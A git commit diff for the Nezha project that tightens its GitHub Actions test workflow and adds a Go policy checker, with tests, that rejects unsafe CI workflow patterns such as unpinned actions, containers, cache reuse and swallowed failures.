ci: require agentcompat stress validation

Co-authored-by: naiba/CloudCode <hi+cloudcode@nai.ba>
This commit is contained in:
naiba
2026-07-20 04:55:20 +00:00
co-authored by naiba/CloudCode
parent d501f23473
commit d96b34b0d4
119 changed files with 3552 additions and 23 deletions
+109 -23
View File
@@ -2,51 +2,137 @@ name: Run Tests
on:
push:
paths:
- "**.go"
- "go.mod"
- "go.sum"
- "resource/**"
- ".github/workflows/test.yml"
branches:
- master
pull_request:
branches:
- master
merge_group:
permissions:
contents: read
concurrency:
group: nezha-quality-${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
jobs:
tests:
name: Ordinary tests and build (${{ matrix.os }})
strategy:
fail-fast: true
fail-fast: false
matrix:
os: [ubuntu, windows, macos]
runs-on: ${{ matrix.os }}-latest
env:
GO111MODULE: on
os: [ubuntu-latest, windows-latest, macos-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v7
- uses: actions/setup-go@v6
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: false
- uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16
with:
go-version: "1.26.x"
cache: false
- name: generate swagger docs
- name: Generate Swagger docs
run: |
go install github.com/swaggo/swag/cmd/swag@latest
go install github.com/swaggo/swag/cmd/swag@v1.16.6
touch ./cmd/dashboard/user-dist/a
touch ./cmd/dashboard/admin-dist/a
swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs
- name: Unit test
run: |
go test -v ./...
run: go test -mod=readonly -count=1 ./...
- name: Build test
- name: Build dashboard
run: go build -v ./cmd/dashboard
linux-race-quality:
name: Linux race and quality
runs-on: ubuntu-24.04
timeout-minutes: 45
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: false
- uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16
with:
go-version: "1.26.x"
cache: false
- name: Generate Swagger docs
run: |
go install github.com/swaggo/swag/cmd/swag@v1.16.6
touch ./cmd/dashboard/user-dist/a
touch ./cmd/dashboard/admin-dist/a
swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs
- name: Race and shuffle tests
run: go test -mod=readonly -race -shuffle=on -count=1 ./...
- name: Vet
run: go vet ./...
- name: Check formatting
shell: bash
run: test -z "$(git ls-files -co --exclude-standard '*.go' -z | xargs -0 gofmt -l)"
- name: Build dashboard
run: go build ./cmd/dashboard
- name: Run Gosec Security Scanner
if: runner.os == 'Linux'
uses: securego/gosec@master
shell: bash
env:
GOTOOLCHAIN: auto
run: |
go install github.com/securego/gosec/v2/cmd/gosec@v2.27.1
gosec --exclude=G104,G115,G117,G203,G402,G703,G704 ./...
agentcompat-stress:
name: Linux agent compatibility stress
runs-on: ubuntu-24.04
timeout-minutes: 75
steps:
- name: Checkout Nezha revision
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
args: --exclude=G104,G115,G117,G203,G402,G703,G704 ./...
path: nezha
persist-credentials: false
- name: Checkout pinned Agent revision
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: nezhahq/agent
ref: 667e1dd5e166ffef808ec26dc20de85bc33a0a0f
path: agent
persist-credentials: false
- name: Set up Go
uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16
with:
go-version: "1.26.x"
cache: false
- name: Require named stress test
working-directory: nezha
run: go test -mod=readonly -tags=agentcompat -list '^TestStressPRFullEightAgentExactlyOnce$' ./integration/agentcompat/internal/scenario | grep -Fx 'TestStressPRFullEightAgentExactlyOnce'
- name: Run PR-full agent compatibility stress
working-directory: nezha
env:
AGENTCOMPAT_NEZHA_SOURCE: ${{ github.workspace }}/nezha
AGENTCOMPAT_AGENT_SOURCE: ${{ github.workspace }}/agent
run: go test -mod=readonly -tags=agentcompat -run '^TestStressPRFullEightAgentExactlyOnce$' -count=1 -v ./integration/agentcompat/internal/scenario
nezha-quality-required:
name: nezha-quality-required
if: ${{ always() }}
needs:
- tests
- linux-race-quality
- agentcompat-stress
runs-on: ubuntu-24.04
timeout-minutes: 5
steps:
- name: Require all blocking jobs to pass
shell: bash
run: |
test "${{ needs.tests.result }}" = success
test "${{ needs.linux-race-quality.result }}" = success
test "${{ needs.agentcompat-stress.result }}" = success
@@ -0,0 +1,28 @@
package workflowpolicy_test
import (
"testing"
"github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy"
)
func TestPolicy_RejectsAdversarialExecutionForms(t *testing.T) {
tests := []struct {
fixture string
rule workflowpolicy.Rule
diagnostic string
}{
{fixture: "swallowed-semicolon-true.yml", rule: workflowpolicy.RuleSwallowedFailure, diagnostic: "failure"},
{fixture: "swallowed-semicolon-colon.yml", rule: workflowpolicy.RuleSwallowedFailure, diagnostic: "failure"},
{fixture: "swallowed-trap-exit.yml", rule: workflowpolicy.RuleSwallowedFailure, diagnostic: "failure"},
{fixture: "git-config-mutation.yml", rule: workflowpolicy.RuleRepositoryNotLiteral, diagnostic: "Git configuration"},
{fixture: "git-url-mutation.yml", rule: workflowpolicy.RuleRepositoryNotLiteral, diagnostic: "Git configuration"},
{fixture: "relative-workspace-executable.yml", rule: workflowpolicy.RuleReusableExecutable, diagnostic: "workspace"},
{fixture: "container-runtime-alias.yml", rule: workflowpolicy.RuleContainerizedExecution, diagnostic: "container"},
}
for _, test := range tests {
t.Run(test.fixture, func(t *testing.T) {
assertFixtureRejected(t, rejected(test.fixture, test.rule, test.diagnostic))
})
}
}
@@ -0,0 +1,102 @@
//go:build agentcompat
package workflowpolicy_test
import (
"os"
"path/filepath"
"testing"
"github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy"
"github.com/stretchr/testify/require"
"gopkg.in/yaml.v3"
)
type agentQualityWorkflow struct {
Triggers map[string]agentQualityTrigger `yaml:"on"`
Jobs map[string]agentQualityJob `yaml:"jobs"`
}
type agentQualityTrigger struct {
Branches []string `yaml:"branches"`
Paths []string `yaml:"paths"`
PathsIgnore []string `yaml:"paths-ignore"`
}
type agentQualityJob struct {
Name string `yaml:"name"`
Needs []string `yaml:"needs"`
Condition string `yaml:"if"`
Runner string `yaml:"runs-on"`
Strategy agentQualityStrategy `yaml:"strategy"`
Steps []agentQualityStep `yaml:"steps"`
}
type agentQualityStrategy struct {
Matrix agentQualityMatrix `yaml:"matrix"`
}
type agentQualityMatrix struct {
OperatingSystems []string `yaml:"os"`
}
type agentQualityStep struct {
Run string `yaml:"run"`
}
func TestPolicy_AgentQualityWorkflow(t *testing.T) {
// Given
path := filepath.Join("..", "..", "..", "..", "..", "agent", ".github", "workflows", "test.yml")
data, err := os.ReadFile(path)
require.NoError(t, err)
require.NoError(t, workflowpolicy.Verify(data, workflowpolicy.RepositoryAgent))
var workflow agentQualityWorkflow
require.NoError(t, yaml.Unmarshal(data, &workflow))
// When
ordinaryJob, hasOrdinaryJob := workflow.Jobs["tests"]
qualityJob, hasQualityJob := workflow.Jobs["linux-race-quality"]
stressJob, hasStressJob := workflow.Jobs["agentcompat-stress"]
aggregator, hasAggregator := workflow.Jobs["agent-quality-required"]
// Then
require.True(t, hasOrdinaryJob)
require.True(t, hasQualityJob)
require.True(t, hasStressJob)
require.True(t, hasAggregator)
require.Len(t, workflow.Jobs, 4)
require.Equal(t, []string{"main"}, workflow.Triggers["push"].Branches)
require.Equal(t, []string{"main"}, workflow.Triggers["pull_request"].Branches)
require.Contains(t, workflow.Triggers, "merge_group")
for _, trigger := range workflow.Triggers {
require.Empty(t, trigger.Paths)
require.Empty(t, trigger.PathsIgnore)
}
require.ElementsMatch(t, []string{"ubuntu-latest", "windows-latest", "macos-latest"}, ordinaryJob.Strategy.Matrix.OperatingSystems)
requireWorkflowCommands(t, ordinaryJob.Steps, "go test -mod=readonly -count=1 ./...")
require.Equal(t, "ubuntu-24.04", qualityJob.Runner)
requireWorkflowCommands(t, qualityJob.Steps,
"go test -mod=readonly -race -shuffle=on -count=1 ./...",
"go vet ./...",
"test -z \"$(git ls-files -co --exclude-standard '*.go' -z | xargs -0 gofmt -l)\"",
"go build ./cmd/agent",
)
require.NotEmpty(t, stressJob)
require.ElementsMatch(t, []string{"tests", "linux-race-quality", "agentcompat-stress"}, aggregator.Needs)
require.Equal(t, "agent-quality-required", aggregator.Name)
require.Equal(t, "${{ always() }}", aggregator.Condition)
requireWorkflowCommands(t, aggregator.Steps,
"test \"${{ needs.tests.result }}\" = success\ntest \"${{ needs.linux-race-quality.result }}\" = success\ntest \"${{ needs.agentcompat-stress.result }}\" = success\n",
)
}
func requireWorkflowCommands(t *testing.T, steps []agentQualityStep, commands ...string) {
t.Helper()
actualCommands := make([]string, 0, len(steps))
for _, step := range steps {
if step.Run != "" {
actualCommands = append(actualCommands, step.Run)
}
}
require.ElementsMatch(t, commands, actualCommands)
}
@@ -0,0 +1,69 @@
//go:build agentcompat
package workflowpolicy_test
import (
"os"
"path/filepath"
"regexp"
"testing"
"github.com/stretchr/testify/require"
"gopkg.in/yaml.v3"
)
const agentWorkflowStressTestName = "TestStressPRFullEightAgentExactlyOnce"
var fullCommitSHA = regexp.MustCompile(`^[0-9a-f]{40}$`)
func TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest(t *testing.T) {
// Given
path := filepath.Join("..", "..", "..", "..", "..", "agent", ".github", "workflows", "test.yml")
data, err := os.ReadFile(path)
require.NoError(t, err)
var workflow qualityWorkflow
require.NoError(t, yaml.Unmarshal(data, &workflow))
// When
stressJob, exists := workflow.Jobs["agentcompat-stress"]
// Then
require.True(t, exists)
require.Equal(t, "Linux agent compatibility stress", stressJob.Name)
require.Equal(t, "ubuntu-24.04", stressJob.RunsOn)
require.Equal(t, 75, stressJob.TimeoutMinutes)
require.Len(t, stressJob.Steps, 6)
agentCheckout := stressJob.stepNamed(t, "Checkout Agent revision")
require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", agentCheckout.Uses)
require.Empty(t, agentCheckout.With.Repository)
require.Empty(t, agentCheckout.With.Ref)
require.Equal(t, "agent", agentCheckout.With.Path)
require.False(t, *agentCheckout.With.PersistCredentials)
nezhaCheckout := stressJob.stepNamed(t, "Checkout pinned Nezha revision")
require.Equal(t, "actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", nezhaCheckout.Uses)
require.Equal(t, "nezhahq/nezha", nezhaCheckout.With.Repository)
require.Regexp(t, fullCommitSHA, nezhaCheckout.With.Ref)
require.Equal(t, "nezha", nezhaCheckout.With.Path)
require.False(t, *nezhaCheckout.With.PersistCredentials)
setupGo := stressJob.stepNamed(t, "Set up Go")
require.Equal(t, "actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16", setupGo.Uses)
require.Equal(t, "^1.26.1", setupGo.With.GoVersion)
require.False(t, *setupGo.With.Cache)
policyStep := stressJob.stepNamed(t, "Require Agent workflow policy tests")
require.Equal(t, "nezha", policyStep.WorkingDirectory)
require.Equal(t, "go test -mod=readonly -tags=agentcompat -list '^TestPolicy_AgentQualityWorkflow$' ./integration/agentcompat/internal/workflowpolicy | grep -Fx 'TestPolicy_AgentQualityWorkflow'\ngo test -mod=readonly -tags=agentcompat -list '^TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest$' ./integration/agentcompat/internal/workflowpolicy | grep -Fx 'TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest'\ngo test -mod=readonly -tags=agentcompat -run '^(TestPolicy_AgentQualityWorkflow|TestPolicy_AgentStressWorkflowRunsPinnedCrossRepositoryTest)$' -count=1 ./integration/agentcompat/internal/workflowpolicy\n", policyStep.Run)
listStep := stressJob.stepNamed(t, "Require named stress test")
require.Equal(t, "nezha", listStep.WorkingDirectory)
require.Equal(t, "go test -mod=readonly -tags=agentcompat -list '^"+agentWorkflowStressTestName+"$' ./integration/agentcompat/internal/scenario | grep -Fx '"+agentWorkflowStressTestName+"'", listStep.Run)
runStep := stressJob.stepNamed(t, "Run PR-full agent compatibility stress")
require.Equal(t, "nezha", runStep.WorkingDirectory)
require.Equal(t, "${{ github.workspace }}/nezha", runStep.Env.AgentcompatNezhaSource)
require.Equal(t, "${{ github.workspace }}/agent", runStep.Env.AgentcompatAgentSource)
require.Equal(t, "go test -mod=readonly -tags=agentcompat -run '^"+agentWorkflowStressTestName+"$' -count=1 -v ./integration/agentcompat/internal/scenario", runStep.Run)
}
@@ -0,0 +1,54 @@
package workflowpolicy
import (
"strings"
"gopkg.in/yaml.v3"
)
const redactedArtifactPath = "${{ runner.temp }}/nezha-agentcompat-redacted"
const redactionCommand = `go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"`
func (c *checker) isRedactionStep(step *yaml.Node) bool {
run, hasRun := mappingValue(step, "run")
if !hasRun || run.Kind != yaml.ScalarNode {
return false
}
if strings.TrimSpace(run.Value) != redactionCommand {
return false
}
condition, hasCondition := mappingValue(step, "if")
if !hasCondition || strings.TrimSpace(condition.Value) != "always()" {
return false
}
for _, key := range []string{"name", "id"} {
value, exists := mappingValue(step, key)
if exists && strings.Contains(strings.ToLower(value.Value), "redact") {
return true
}
}
return false
}
func (c *checker) checkArtifactUpload(path string, step *yaml.Node, redactionComplete bool) {
if !redactionComplete {
c.reject(RuleArtifactRedaction, at(path+".uses", step), "artifact upload must immediately follow a redaction step with if: always()")
}
condition, hasCondition := mappingValue(step, "if")
if !hasCondition || strings.TrimSpace(condition.Value) != "always()" {
c.reject(RuleArtifactRedaction, at(path+".if", step), "artifact upload requires if: always()")
}
with, exists := mappingValue(step, "with")
artifactPath, hasPath := mappingValue(with, "path")
if !exists || !hasPath || !redactedArtifactPaths(artifactPath.Value) {
node := step
if hasPath {
node = artifactPath
}
c.reject(RuleArtifactRedaction, at(path+".with.path", node), "artifact path must reference redacted output")
}
}
func redactedArtifactPaths(raw string) bool {
return strings.TrimSpace(raw) == redactedArtifactPath
}
@@ -0,0 +1,72 @@
package workflowpolicy
import (
"fmt"
"strings"
"gopkg.in/yaml.v3"
)
func (c *checker) checkCheckout(path string, step *yaml.Node, validatedResolvers map[string]Repository) {
with, exists := mappingValue(step, "with")
if !exists || with.Kind != yaml.MappingNode {
c.reject(RulePersistCredentials, at(path+".with.persist-credentials", step), "checkout requires persist-credentials: false")
return
}
persistCredentials, exists := mappingValue(with, "persist-credentials")
if !exists || !explicitFalse(persistCredentials) {
node := with
if exists {
node = persistCredentials
}
c.reject(RulePersistCredentials, at(path+".with.persist-credentials", node), "checkout requires persist-credentials: false as a boolean")
}
repositoryNode, exists := mappingValue(with, "repository")
if !exists {
return
}
repository, literal := scalarString(repositoryNode)
if !literal || strings.Contains(repository, "${{") {
c.reject(RuleRepositoryNotLiteral, at(path+".with.repository", repositoryNode), "checkout repository must be a literal")
return
}
if repository != string(RepositoryAgent) && repository != string(RepositoryNezha) {
detail := fmt.Sprintf("repository %q is not allowed; only nezhahq/agent and nezhahq/nezha are allowed", repository)
c.reject(RuleRepositoryNotAllowed, at(path+".with.repository", repositoryNode), detail)
return
}
ref, exists := mappingValue(with, "ref")
refValue, literal := scalarString(ref)
if exists && literal && fullCommitPattern.MatchString(refValue) {
return
}
if repository == string(c.repository) && !exists {
return
}
if exists && literal {
match := resolvedRefPattern.FindStringSubmatch(refValue)
if len(match) == 2 && validatedResolvers[match[1]] == Repository(repository) {
return
}
}
node := repositoryNode
if exists {
node = ref
}
detail := "other-repository checkout ref must be a literal 40-hex commit SHA or a validated resolver sha output"
c.reject(RuleOtherRepositoryRef, at(path+".with.ref", node), detail)
}
func (c *checker) checkCacheInputs(path string, step *yaml.Node) {
with, exists := mappingValue(step, "with")
if !exists {
return
}
for _, key := range []string{"cache", "cache-dependency-path"} {
value, present := mappingValue(with, key)
if present && !explicitFalse(value) {
detail := fmt.Sprintf("dependency or executable cache input %s is forbidden", key)
c.reject(RuleReusableExecutable, at(path+".with."+key, value), detail)
}
}
}
@@ -0,0 +1,207 @@
package workflowpolicy
import (
"fmt"
"regexp"
"strconv"
"strings"
"gopkg.in/yaml.v3"
)
var (
fullCommitPattern = regexp.MustCompile(`^[0-9a-fA-F]{40}$`)
dockerCommandPattern = regexp.MustCompile(`(?mi)(?:^|[;&|]\s*|\s)(?:(?:sudo|env)\s+)?(?:/[^\s]+/)?(?:docker|podman|nerdctl|containerd|buildah|runc|crictl)(?:\s|$)`)
gitHubEnvironmentPattern = regexp.MustCompile(`(?is)GIT_[A-Za-z0-9_]*.*GITHUB_ENV|GITHUB_ENV.*GIT_[A-Za-z0-9_]*`)
swallowedFailurePattern = regexp.MustCompile(`(?mi)(?:\|\|\s*(?:true|:|echo\b|printf\b|exit\s+0\b))|(?:^|[;&]\s*)set\s+\+(?:e|o\s+errexit)(?:\s|;|$)|(?:^|[;&]\s*)if\s+|(?:\b(?:bash|sh)\s+-c\b)|(?:^|[;&]\s*)trap\b[^\n]*\bexit\s+0\b|(?:[;&]\s*)(?:true|:)\s*(?:;|$)`)
workspaceCommandPattern = regexp.MustCompile(`(?mi)(?:\$\{\{\s*github\.workspace\s*\}\}|\$GITHUB_WORKSPACE|\$\{GITHUB_WORKSPACE\})(?:/|\\)|(?:^|[;&|]\s*)(?:sudo\s+)?(?:\.\.?/|[A-Za-z0-9_.-]+/)[^\s;&|]+`)
gitRepositoryCommand = regexp.MustCompile(`(?m)(?:^|[;&|]\s*|\s)(?:(?:sudo|command|env)\s+)?(?:/usr/bin/)?git\b[^\n]*(?:clone|ls-remote)\b`)
gitConfigurationPattern = regexp.MustCompile(`(?mi)(?:^|[;&|]\s*)(?:sudo\s+)?git(?:\s+-c\s+url\.[^\s]+\.insteadOf=\S+|\s+config\b)`)
)
func (c *checker) checkJob(name string, job *yaml.Node) {
path := "$.jobs." + name
timeout, exists := mappingValue(job, "timeout-minutes")
if !exists || !positiveInteger(timeout) {
node := job
if exists {
node = timeout
}
c.reject(RuleMissingJobTimeout, at(path+".timeout-minutes", node), "job timeout-minutes must be a positive literal")
}
c.checkRunner(path, job)
if container, exists := mappingValue(job, "container"); exists {
c.reject(RuleContainerizedExecution, at(path+".container", container), "job containers are forbidden")
}
if services, exists := mappingValue(job, "services"); exists {
c.reject(RuleContainerizedExecution, at(path+".services", services), "service containers are forbidden")
}
c.checkPermissions(job, path+".permissions", false)
c.checkContinueOnError(job, path)
if reusableWorkflow, exists := mappingValue(job, "uses"); exists {
c.reject(RuleReusableExecutable, at(path+".uses", reusableWorkflow), "job-level reusable workflows are forbidden")
return
}
steps, exists := mappingValue(job, "steps")
if !exists {
c.reject(RuleWorkflowStructure, at(path+".steps", job), "workflow jobs must define steps")
return
}
if steps.Kind != yaml.SequenceNode {
c.reject(RuleWorkflowStructure, at(path+".steps", steps), "workflow steps must be a sequence")
return
}
c.checkSteps(path, steps)
}
func (c *checker) checkSteps(jobPath string, steps *yaml.Node) {
redactionReady := false
validatedResolvers := make(map[string]Repository)
for index, step := range steps.Content {
path := jobPath + ".steps[" + strconv.Itoa(index) + "]"
if step.Kind != yaml.MappingNode {
c.reject(RuleWorkflowStructure, at(path, step), "workflow step must be a mapping")
redactionReady = false
continue
}
uses, hasUses := mappingValue(step, "uses")
run, hasRun := mappingValue(step, "run")
if !hasUses && !hasRun {
c.reject(RuleWorkflowStructure, at(path, step), "workflow step must define a nonempty uses or run")
redactionReady = false
continue
}
if hasUses && (uses.Kind != yaml.ScalarNode || uses.Tag != "!!str" || strings.TrimSpace(uses.Value) == "") {
c.reject(RuleWorkflowStructure, at(path+".uses", uses), "step uses must be a string action reference")
}
if hasRun && (run.Kind != yaml.ScalarNode || run.Tag != "!!str" || strings.TrimSpace(run.Value) == "") {
c.reject(RuleWorkflowStructure, at(path+".run", run), "step run must be a scalar shell command")
}
c.checkContinueOnError(step, path)
resolver, validResolver := validatedRefResolver(step)
if hasRun {
c.checkRun(path+".run", run, validResolver)
}
if validResolver {
validatedResolvers[resolver.id] = resolver.repository
}
if hasUses {
c.checkUses(path, step, stepCheckState{redactionComplete: redactionReady, validatedResolvers: validatedResolvers})
redactionReady = false
continue
}
redactionReady = c.isRedactionStep(step)
}
}
func (c *checker) checkContinueOnError(mapping *yaml.Node, path string) {
value, exists := mappingValue(mapping, "continue-on-error")
if exists && !explicitFalse(value) {
c.reject(RuleContinueOnError, at(path+".continue-on-error", value), "continue-on-error must not enable failure suppression")
}
}
func (c *checker) checkRun(path string, run *yaml.Node, validatedResolver bool) {
command, exists := scalarString(run)
if !exists {
return
}
if dockerCommandPattern.MatchString(command) {
c.reject(RuleContainerizedExecution, at(path, run), "docker execution is forbidden")
}
if swallowedFailurePattern.MatchString(command) {
c.reject(RuleSwallowedFailure, at(path, run), "shell failure is swallowed by || true or another ignored fallback, exit 0, or disabled errexit")
}
if workspaceCommandPattern.MatchString(command) {
c.reject(RuleReusableExecutable, at(path, run), "executing a binary from the GitHub workspace is forbidden")
}
if gitHubEnvironmentPattern.MatchString(command) {
c.reject(RuleRepositoryNotLiteral, at(path, run), "writing GIT_* configuration through GITHUB_ENV is forbidden")
}
if gitConfigurationPattern.MatchString(command) {
c.reject(RuleRepositoryNotLiteral, at(path, run), "Git configuration mutation is forbidden")
}
if gitRepositoryCommand.MatchString(command) && !validatedResolver {
rule := RuleRepositoryNotLiteral
detail := fmt.Sprintf("git repository operation %q is allowed only in the validated resolver", strings.TrimSpace(command))
if !strings.Contains(command, "$") {
rule = RuleRepositoryNotAllowed
detail = fmt.Sprintf("repository operation %q is forbidden outside the validated resolver", strings.TrimSpace(command))
}
c.reject(rule, at(path, run), detail)
}
}
type stepCheckState struct {
redactionComplete bool
validatedResolvers map[string]Repository
}
func (c *checker) checkUses(path string, step *yaml.Node, state stepCheckState) {
uses, exists := mappingValue(step, "uses")
if !exists {
return
}
action, literal := scalarString(uses)
if !literal {
return
}
if strings.Contains(action, "${{") {
c.reject(RuleRepositoryNotLiteral, at(path+".uses", uses), "action reference must be literal")
return
}
lowerAction := strings.ToLower(action)
if strings.HasPrefix(lowerAction, "docker://") {
c.reject(RuleContainerizedExecution, at(path+".uses", uses), "Docker actions are forbidden")
return
}
if strings.HasPrefix(lowerAction, "./") {
c.reject(RuleReusableExecutable, at(path+".uses", uses), "local action reuse from the workspace is forbidden")
return
}
actionRepository, _, found := strings.Cut(lowerAction, "@")
switch actionRepository {
case "actions/cache", "actions/cache/restore", "actions/cache/save", "actions/download-artifact":
c.reject(RuleReusableExecutable, at(path+".uses", uses), fmt.Sprintf("cache or artifact reuse action %q is forbidden", actionRepository))
return
}
if !found {
c.reject(RuleOtherRepositoryRef, at(path+".uses", uses), "action must use its approved immutable SHA")
return
}
approvedRepository, _, pinned := approvedAction(action)
if approvedRepository == "" {
c.reject(RuleRepositoryNotAllowed, at(path+".uses", uses), "action repository is not approved")
return
}
if !pinned {
c.reject(RuleOtherRepositoryRef, at(path+".uses", uses), "action must use its approved immutable SHA")
return
}
switch approvedRepository {
case "actions/checkout":
c.checkCheckout(path, step, state.validatedResolvers)
case "actions/setup-go":
c.checkRequiredCacheDisabled(path, step)
case "actions/upload-artifact":
c.checkArtifactUpload(path, step, state.redactionComplete)
}
c.checkCacheInputs(path, step)
}
func approvedAction(action string) (string, string, bool) {
repository, ref, found := strings.Cut(strings.ToLower(action), "@")
if !found {
return repository, "", false
}
approvedRefs := map[string]string{
"actions/checkout": "9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0",
"actions/setup-go": "924ae3a1cded613372ab5595356fb5720e22ba16",
"actions/upload-artifact": "b7c566a772e6b6bfb58ed0dc250532a479d7789f",
}
approvedRef, approved := approvedRefs[repository]
if !approved {
return "", ref, false
}
return repository, ref, ref == approvedRef
}
@@ -0,0 +1,232 @@
package workflowpolicy_test
import (
"os"
"path/filepath"
"testing"
"github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy"
"github.com/stretchr/testify/require"
)
func TestPolicy_RejectsSelfHostedRunner(t *testing.T) {
assertFixtureRejected(t, rejected("self-hosted.yml", workflowpolicy.RuleSelfHostedRunner, "self-hosted"))
}
func TestPolicy_RejectsMatrixSelfHostedRunner(t *testing.T) {
assertFixtureRejected(t, rejected("matrix-self-hosted.yml", workflowpolicy.RuleSelfHostedRunner, "self-hosted"))
}
func TestPolicy_RejectsCustomRunnerLabel(t *testing.T) {
assertFixtureRejected(t, rejected("custom-runner.yml", workflowpolicy.RuleSelfHostedRunner, "GitHub-hosted"))
}
func TestPolicy_RejectsMatrixIncludeRunner(t *testing.T) {
assertFixtureRejected(t, rejected("matrix-include-runner.yml", workflowpolicy.RuleSelfHostedRunner, "include"))
}
func TestPolicy_RejectsComposedCustomRunnerLabel(t *testing.T) {
assertFixtureRejected(t, rejected("composed-custom-runner.yml", workflowpolicy.RuleSelfHostedRunner, "GitHub-hosted"))
}
func TestPolicy_RejectsDockerExecution(t *testing.T) {
assertFixtureRejected(t, rejected("docker.yml", workflowpolicy.RuleContainerizedExecution, "docker"))
}
func TestPolicy_RejectsAbsoluteDockerExecution(t *testing.T) {
assertFixtureRejected(t, rejected("absolute-docker.yml", workflowpolicy.RuleContainerizedExecution, "docker"))
}
func TestPolicy_RejectsAlternateAbsoluteDockerExecution(t *testing.T) {
assertFixtureRejected(t, rejected("alternate-absolute-docker.yml", workflowpolicy.RuleContainerizedExecution, "docker"))
}
func TestPolicy_RejectsJobContainer(t *testing.T) {
assertFixtureRejected(t, rejected("container.yml", workflowpolicy.RuleContainerizedExecution, "container"))
}
func TestPolicy_RejectsServiceContainers(t *testing.T) {
assertFixtureRejected(t, rejected("services.yml", workflowpolicy.RuleContainerizedExecution, "services"))
}
func TestPolicy_RejectsCacheReuse(t *testing.T) {
assertFixtureRejected(t, rejected("cache.yml", workflowpolicy.RuleReusableExecutable, "cache"))
}
func TestPolicy_RejectsSetupGoDefaultCache(t *testing.T) {
assertFixtureRejected(t, rejected("setup-go-default-cache.yml", workflowpolicy.RuleReusableExecutable, "cache: false"))
}
func TestPolicy_RejectsArtifactExecutableReuse(t *testing.T) {
assertFixtureRejected(t, rejected("download-artifact.yml", workflowpolicy.RuleReusableExecutable, "artifact reuse"))
}
func TestPolicy_RejectsWorkspaceExecutableReuse(t *testing.T) {
assertFixtureRejected(t, rejected("workspace-executable.yml", workflowpolicy.RuleReusableExecutable, "workspace"))
}
func TestPolicy_RejectsLocalActionReuse(t *testing.T) {
assertFixtureRejected(t, rejected("local-action.yml", workflowpolicy.RuleReusableExecutable, "local action"))
}
func TestPolicy_RejectsUnapprovedAction(t *testing.T) {
assertFixtureRejected(t, rejected("unapproved-action.yml", workflowpolicy.RuleRepositoryNotAllowed, "action"))
}
func TestPolicy_RejectsMutableActionRef(t *testing.T) {
assertFixtureRejected(t, rejected("mutable-action-ref.yml", workflowpolicy.RuleOtherRepositoryRef, "approved immutable SHA"))
}
func TestPolicy_RejectsReusableWorkflowJob(t *testing.T) {
assertFixtureRejected(t, rejected("reusable-workflow-job.yml", workflowpolicy.RuleReusableExecutable, "reusable workflow"))
}
func TestPolicy_RejectsContinueOnError(t *testing.T) {
assertFixtureRejected(t, rejected("continue-on-error.yml", workflowpolicy.RuleContinueOnError, "continue-on-error"))
}
func TestPolicy_RejectsSwallowedShellFailure(t *testing.T) {
assertFixtureRejected(t, rejected("swallowed-failure.yml", workflowpolicy.RuleSwallowedFailure, "|| true"))
}
func TestPolicy_RejectsAlternativeSwallowedShellFailures(t *testing.T) {
for _, fixture := range []string{"or-echo-failure.yml", "or-printf-failure.yml", "or-exit-zero-failure.yml", "set-plus-o-errexit.yml", "set-plus-e-semicolon.yml", "if-not-failure.yml", "if-condition-failure.yml", "and-if-condition-failure.yml", "nested-shell.yml"} {
t.Run(fixture, func(t *testing.T) {
assertFixtureRejected(t, rejected(fixture, workflowpolicy.RuleSwallowedFailure, "failure"))
})
}
}
func TestPolicy_RejectsMissingJobTimeout(t *testing.T) {
assertFixtureRejected(t, rejected("missing-timeout.yml", workflowpolicy.RuleMissingJobTimeout, "timeout-minutes"))
}
func TestPolicy_RejectsMissingConcurrency(t *testing.T) {
assertFixtureRejected(t, rejected("missing-concurrency.yml", workflowpolicy.RuleMissingConcurrency, "concurrency"))
}
func TestPolicy_RejectsEmptyConcurrency(t *testing.T) {
assertFixtureRejected(t, rejected("empty-concurrency.yml", workflowpolicy.RuleMissingConcurrency, "concurrency"))
}
func TestPolicy_RejectsArtifactWithoutRedaction(t *testing.T) {
assertFixtureRejected(t, rejected("artifact-without-redaction.yml", workflowpolicy.RuleArtifactRedaction, "redaction step"))
}
func TestPolicy_RejectsUnredactedArtifactPath(t *testing.T) {
assertFixtureRejected(t, rejected("unredacted-artifact-path.yml", workflowpolicy.RuleArtifactRedaction, "redacted"))
}
func TestPolicy_RejectsNoOpRedactionStep(t *testing.T) {
assertFixtureRejected(t, rejected("no-op-redaction.yml", workflowpolicy.RuleArtifactRedaction, "redaction step"))
}
func TestPolicy_RejectsConditionalRedaction(t *testing.T) {
assertFixtureRejected(t, rejected("conditional-redaction.yml", workflowpolicy.RuleArtifactRedaction, "always()"))
}
func TestPolicy_RejectsRawWriteAfterRedaction(t *testing.T) {
assertFixtureRejected(t, rejected("raw-after-redaction.yml", workflowpolicy.RuleArtifactRedaction, "immediately follow"))
}
func TestPolicy_RejectsCommandsAppendedToRedaction(t *testing.T) {
assertFixtureRejected(t, rejected("redaction-command-append.yml", workflowpolicy.RuleArtifactRedaction, "immediately follow"))
}
func TestPolicy_RejectsUntrustedRunExpression(t *testing.T) {
assertFixtureRejected(t, rejected("untrusted-run-expression.yml", workflowpolicy.RuleUntrustedExpression, "pull_request.title"))
}
